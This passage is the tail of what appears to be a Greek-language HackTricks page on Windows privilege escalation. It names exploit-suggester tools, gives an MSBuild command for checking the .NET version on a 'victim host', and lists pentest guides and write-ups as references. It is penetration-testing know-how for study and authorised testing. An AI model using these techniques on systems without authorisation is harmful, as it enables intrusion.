**systeminfo** και προτείνει λειτουργικά exploits (local python)\ [**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Διαβάζει την έξοδο του **systeminfo** και προτείνει λειτουργικά exploits (local python) **Meterpreter** _multi/recon/local_exploit_suggestor_ Πρέπει να μεταγλωττίσετε (compile) το project χρησιμοποιώντας τη σωστή έκδοση του .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Για να δείτε την εγκατεστημένη έκδοση του .NET στον θύμα host μπορείτε να κάνετε: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` ## Αναφορές - [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html) - [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738) - [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html) - [https://github.com/sagishahar/lpeworkshop](https://github.com/sagishahar/lpeworkshop) - [https://www.youtube.com/watch?v=\_8xJaaQlpBo](https://www.youtube.com/watch?v=_8xJaaQlpBo) - [https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md) - [https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) - [https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md) - [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation) - [https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/](https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/) - [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation) - [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections) - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) - [Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/) {{#include ../../banners/hacktricks-training.md}}